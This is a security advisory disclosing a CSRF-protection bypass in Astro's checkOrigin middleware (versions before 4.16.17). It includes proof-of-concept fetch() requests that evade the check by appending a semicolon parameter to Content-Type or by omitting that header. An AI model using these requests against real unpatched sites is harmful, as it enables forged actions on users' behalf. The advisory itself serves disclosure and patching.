GHSA-c4pw-33h3-35xw Atro CSRF Middleware Bypass (security.checkOrigin)

• npm astro: < 4.16.17 → fixed in 4.16.17

Summary A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks. Details When the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts) For example, with the following Astro configuration: ```js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), }); ``` A request like the following would be blocked if made from a different origin: ```js // fetch API or fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden ``` However, a vulnerability exists that can bypass this security. Pattern 1: Requests with a semicolon after the `Content-Type` A semicolon-delimited parameter is allowed after the type in `Content-Type`. Web browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected. ```js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200). ``` Pattern 2: Request without `Content-Type` header The `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF. ```js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' }); // Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), }); ``` Impact Bypass CSRF protection implemented with CSRF middleware. > [!Note] > Even with `credentials: 'include'`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.